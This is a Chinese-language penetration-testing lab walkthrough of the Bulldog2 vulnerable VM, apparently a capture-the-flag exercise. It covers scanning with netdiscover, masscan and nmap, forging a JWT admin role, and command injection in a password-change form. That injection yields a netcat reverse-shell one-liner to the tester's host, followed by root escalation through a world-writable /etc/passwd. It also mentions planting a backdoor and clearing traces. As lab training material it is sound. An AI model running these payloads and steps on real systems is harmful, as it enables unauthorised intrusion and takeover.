一. 实验环境
二. 实验流程
三. 实验步骤
(1)信息收集——主机发现
(2)信息收集——端口扫描
(3)信息收集——操作系统扫描
(4)渗透测试
四. 实验总结
- 靶机:Bulldog2 IP地址暂时未知;
- 测试机:kali IP地址:192.168.37.131
- 测试机:物理机win7
- 信息收集——主机发现
- 信息收集——端口扫描
- 信息收集——操作系统扫描
- 渗透测试
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 查看靶机页面
3. 扫描主机(netdiscover)
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定网卡 -r 指定网段
- 找到目标主机IP:192.168.37.142
- 也可以使用nmap进行主机发现,在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
1. 扫描端口(masscan)
masscan --rate=10000 --ports 0-65535 192.168.37.139
masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址/IP地址段
Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次;
2. 扫描端口的详细信息(nmap)
nmap -sV -T4 -p 23,80,8080 192.168.37.142
- 其中:-T4指定扫描过程中使用的时序(分为0-5等级);
- -sV扫描版本的信息和开启的服务;
- 也可以选择带-A参数,详细扫描开放端口的具体服务;
- 与masscan相比,namp更详细,但是速度较慢(可以通过masscan快速扫描开放的端口,再使用nmap扫描具体开放的端口);
- 可以发现192.168.37.142主机只开启了80(http服务)端口;
1. 扫描操作系统的信息(nmap)
nmap -O 192.168.37.142
网站版本
searchsploit nginx
在Kali集成的文件中没有发现Nginx1.14的版本,如果有,可用利用版本的漏洞进行渗透;
80端口(http服务)
1. 发现目标主机只开放了80端口,尝试进行访问;
1.1> 访问80端口;
1.2> 查看页面可以点击的内容;
点击users;
点击Sigh Up;
可以知道该网站目前不接受注册;
2. 网站目录扫描(dirb)
扫描Web目录,可以发现潜在的渗透目标;
3. 查看扫描到的目录
http://192.168.37.142/assets
http://192.168.37.142/favicon.ico
- 根据扫描到的目录,没有发现什么可用的信息,继续探索;
- 一般情况下,如果没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口;
4. 查看前端页面的代码
4.1> 查看前端代码,发现首页调用了四个js文件,我们可以分别进行访问;
4.2> 将4个js文件下载到本地,进行美化(不美化不容易查看),然后逐一进行审查,
4.3> 我们查看页面的时候,发现页面上角有个注册功能,但是不能进行注册;(猜测:如果可以注册成功的话,就可以进行登录)
4.4> 尝试在美化后的js文件中使用Register关键字进行搜索;
可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册;
5. 使用Burpsuite抓包进行注册账号;
5.1> 抓取向服务器提交的数据包;
5.2> 导入repeater,并修改包中的内容,;
5.3> 尝试用注册好的账户进行登录;
- 我们可以看到已经成功登录,但是没有可用的信息;并且登录的用户名直接显示在链接上;
- 猜测:注册的其他用户是否也是相同的页面,如果不是,则可以考虑水平越权;
- 也可能是因为注册的用户是个普通用户,管理员账户是否可以进行其他操作呢,考虑垂直越权;
5.4> 使用同样的方式在注册两个账户admin,123;尝试进行登录;
登录admin,密码admin;
登录123,密码123;
我们可以发现,登录账户的用户名都会在链接中显示,是否直接将链接中的用户名更改后(不需要密码)就可以直接登录到另外的账户;
5.5> 尝试水平越权;
只要知道用户名,就可以直接登录到对方账户;但是这几个账户都没有什么可以利用的信息;
6. 再次登录,通过Burpsuite抓包查看服务器回包的信息;
- 返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;
- JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
7. 查看token信息;
7.1> 搜索jwt解密,就可以得到如下的网址,也就是jwt解密的网址;
7.2> 将brupsuite中抓到的token中的信息进行破解;
可以看到有个auth_level的参数,通过名字可以看出是关于用户权限的,我们可以使用这个参数去在js文件中进行搜索;
7.3> 搜索js页面;
7.4> 将回包中的standard_user替换成master_admin_user;将回包中的编码替换;
7.5> 抓取服务器的回包并修改参数;
退出账号并重新登录,抓包——>Do intercept——>response to this request;
然后forward,获取如下页面,复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,然后一直forward;
此时,登录上去的账号为admin;
8. 修改密码处存在命令执行漏洞,获取shell;
8.1> 抓包;
8.2> 密码不正确,但是服务器返回的状态码依然是200;
可以发现页面返回的状态码是200,但是最后一行显示的是false;
8.3> 直接在修改密码处执行漏洞拿反弹shell;
此处的反弹shell为:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
成功获取到shell后,就需要进行提权操作;
9. 提权
9.1> 查看passwd文件的权限;可以看到权限为777;
9.2> 添加一个新的具有root权限的账户;
输入命令:perl -le ‘print crypt(“pass”, “aa”)’
其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
9.3> 将新创建的用户写到passwd文件中;
只需要修改3处:一个是名字、一个是刚刚编译出来的密文、一个是跟名字一样
9.4> 切换到root权限的yxz用户;提权成功;
su yxz ,密码为pass;
10. 留后门,清痕迹;
- 一般情况下,如果网站没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口;
- 如果一个页面输入的用户名或密码错误,但是返回的状态码依然是200的话,就可以尝试进行命令执行漏洞,获取shell;
- 如果普通用户权限对/etc/passwd文件有写权限,我们就可以提权时创建一个新用户(perl -le 'print crypt("pass","aa")'),将其以root用户的格式写入/etc/passwd文件中,然后su 创建的用户 就可以提权成功;